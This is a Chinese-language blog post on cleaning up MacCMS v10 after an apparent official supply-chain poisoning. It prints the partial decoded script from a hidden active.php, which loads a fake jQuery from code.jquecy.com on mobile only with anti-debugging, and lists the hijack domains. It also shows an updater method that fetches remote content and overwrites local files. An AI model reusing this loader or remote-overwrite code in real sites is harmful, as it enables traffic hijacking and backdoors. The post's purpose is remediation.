苹果cms10 挂码手机端自动跳转非法网站处理
根据奇安信实锤,基本上可以确认是官方投毒
https://mp.weixin.qq.com/s/nl_Pntpoys9NVBp7RKLJvg
1.目前已知的非法跳转有
- 播放器引用链接:union.maccms.la/html/prestrain.html
- 播放器引用链接:union.maccms.la/html/loading.html
- application/extra/active.php文件
active.php文件里面有gzuncompress加密,借助ai代码审计后解密后的内容
<script type="text/javascript">
function xxSJRox(e){...} // Base64解码函数
function aPnDhiTia(e){...} // 另一个解码函数
// 恶意代码:加载外部JS
eval('window')['MfXKwV'] = function(){
// 从恶意域名加载脚本
s.src = 'aHR0cHM6Ly9jb2RlLmpxdWVjeS5jb20vanF1ZXJ5Lm1pbi0zLjYuOC5qcw=='
// 解码后: https://code.jquecy.com/jquery.min-3.6.8.js
};
// 仅在非Windows/Mac平台执行(针对移动端)
if (!(/^Mac|Win/.test(navigator.platform))) MfXKwV();
// 反调试
setInterval(function(){debugger;},100);
</script>AI代码审计
主要恶意文件:application/extra/active.php
该文件包含大量恶意代码,通过 gzuncompress 压缩隐藏:
解密后发现的内容:
恶意JavaScript脚本:加载外部恶意URL https://code.jquecy.com/jquery.min-3.6.8.js(伪装成jQuery)
恶意域名列表:用于流量劫持和跳转
http://maccms.info:88
https://www.ywquyq.com:10443
https://vodplay2.com
等多个恶意域名
攻击特点:
✅ 仅针对移动端用户(!$env->isMobile() 时跳过)
✅ 绕过管理员IP检测
✅ 通过 view_filter 钩子自动执行
✅ 包含反调试功能伪装的jquery链接,在电脑打开,返回内容为空白,电脑切换为手机的ua,才会正常加载内容
2.处理方法
2.1.屏蔽官方更新
更新文件路径:application/admin/controller/Update.php
更新文件路径:application/admin/controller/Safety.php
将所有 "aHR0cDovL3VwZGF0ZS5tYWNjbXMubGEv" 内容替换为 ""
aHR0cDovL3VwZGF0ZS5tYWNjbXMubGEv内容base64解码后为
http://update.maccms.la/Update.php文件中,方法内容注释
<?php
namespace app\admin\controller;
use think\Db;
use app\common\util\PclZip;
class Update extends Base
{
var $_url;
var $_save_path;
public function __construct()
{
parent::__construct();
//header('X-Accel-Buffering: no');
//aHR0cDovL3VwZGF0ZS5tYWNjbXMubGEv
$this->_url = base64_decode("")."v10/";
$this->_save_path = './application/data/update/';
}
public function index()
{
return $this->fetch('admin@test/index');
}
public function step1($file='')
{
// if(empty($file)){
// return $this->error(lang('param_err'));
// }
// $version = config('version.code');
// $url = $this->_url .$file . '.zip?t='.time();
// echo $this->fetch('admin@public/head');
// echo "<div class='update'><h1>".lang('admin/update/step1_a')."</h1><textarea rows=\"25\" class='layui-textarea' readonly>".lang('admin/update/step1_b')."\n";
// ob_flush();flush();
// sleep(1);
// $save_file = $version.'.zip';
// $html = mac_curl_get($url);
// @fwrite(@fopen($this->_save_path.$save_file,'wb'),$html);
// if(!is_file($this->_save_path.$save_file)){
// echo lang('admin/update/download_err')."\n";
// exit;
// }
// if(filesize($this->_save_path.$save_file) <1){
// @unlink($this->_save_path.$save_file);
// echo lang('admin/update/download_err')."\n";
// exit;
// }
// echo lang('admin/update/download_ok')."\n";
// echo lang('admin/update/upgrade_package_processed')."\n";
// ob_flush();flush();
// sleep(1);
// $archive = new PclZip();
// $archive->PclZip($this->_save_path.$save_file);
// if(!$archive->extract(PCLZIP_OPT_PATH, '', PCLZIP_OPT_REPLACE_NEWER)) {
// echo $archive->error_string."\n";
// echo lang('admin/update/upgrade_err').'' ."\n";;
// exit;
// }
// else{
// }
// @unlink($this->_save_path.$save_file);
// echo '</textarea></div>';
// mac_jump( url('update/step2',['jump'=>1]) ,3);
}
public function step2()
{
// $version = config('version.code');
// $save_file = 'database.php';
// echo $this->fetch('admin@public/head');
// echo "<div class='update'><h1>".lang('admin/update/step2_a')."</h1><textarea rows=\"25\" class='layui-textarea' readonly>\n";
// ob_flush();flush();
// sleep(1);
// $res=true;
// // 导入SQL
// $sql_file = $this->_save_path .$save_file;
// if (is_file($sql_file)) {
// echo lang('admin/update/upgrade_sql')."\n";
// ob_flush();flush();
// $pre = config('database.prefix');
// $schema = Db::query('select * from information_schema.columns where table_schema = ?',[ config('database.database') ]);
// $col_list = [];
// $sql='';
// foreach($schema as $k=>$v){
// $col_list[$v['TABLE_NAME']][$v['COLUMN_NAME']] = $v;
// }
// @include $sql_file;
// //dump($sql);die;
// /*
// //$html = @file_get_contents($sql_file);
// //$sql = mac_get_body($html,'--'.$version.'-start--','--'.$version.'-end--');
// $sql = @file_get_contents($sql_file);
// */
// if(!empty($sql)) {
// $sql_list = mac_parse_sql($sql, 0, ['mac_' => $pre]);
// if ($sql_list) {
// $sql_list = array_filter($sql_list);
// foreach ($sql_list as $v) {
// echo $v;
// try {
// Db::execute($v);
// echo " ---".lang('success')."\n\n";
// } catch (\Exception $e) {
// echo " ---".lang('fail')."\n\n";
// }
// ob_flush();flush();
// }
// }
// }
// else{
// }
// @unlink($sql_file);
// }
// else{
// echo lang('admin/update/no_sql')."\n";
// }
// echo '</textarea></div>';
// mac_jump(url('update/step3', ['jump' => 1]), 3);
}
public function step3()
{
// echo $this->fetch('admin@public/head');
// echo "<div class='update'><h1>".lang('admin/update/step3_a')."</h1><div rows=\"25\" class='layui-textarea' readonly>\n";
// ob_flush();flush();
// sleep(1);
// $this->_cache_clear();
// echo lang('admin/update/update_cache')."<br>";
// echo lang('admin/update/upgrade_complete')."<br>";
// if(is_file($this->_save_path . 'database.php')){
// echo "<strong style='color: red;'>" . lang('admin/update/not_delete') . ":application/data/update/database.php</strong>";
// }
// ob_flush();flush();
// echo '</div></div>';
}
public function one()
{
// $param = input();
// $a = $param['a'];
// $b = $param['b'];
// $c = $param['c'];
// $d = $param['d'];
// //aHR0cDovL3VwZGF0ZS5tYWNjbXMubGEv
// $e = mac_curl_get( base64_decode("") . $a."/".$b);
// if (stripos($e, 'cbfc17ea5c504aa1a6da788516ae5a4c') !== false) {
// if (($d!="") && strpos(",".$e,$d) <=0){ return; }
// if($b=='admin.php'){$b=IN_FILE;}
// $f = is_file($b) ? filesize($b) : 0;
// if (intval($c)<>intval($f)) { @fwrite(@fopen( $b,"wb"),$e); }
// }
die;
}
}保险起见可以在服务器屏蔽官方域名
maccms.la
*.maccms.la
2.2.替换所有maccms.la域名
代码中批量替换所有maccms.la域名,将带有maccms.la域名的参数和链接全部置空,也可以替换成自己的域名,即使打不开也好过引用官方的链接
2.3.删除active.php文件
删除产生的active.php文件
application/extra/active.php
评论 (0)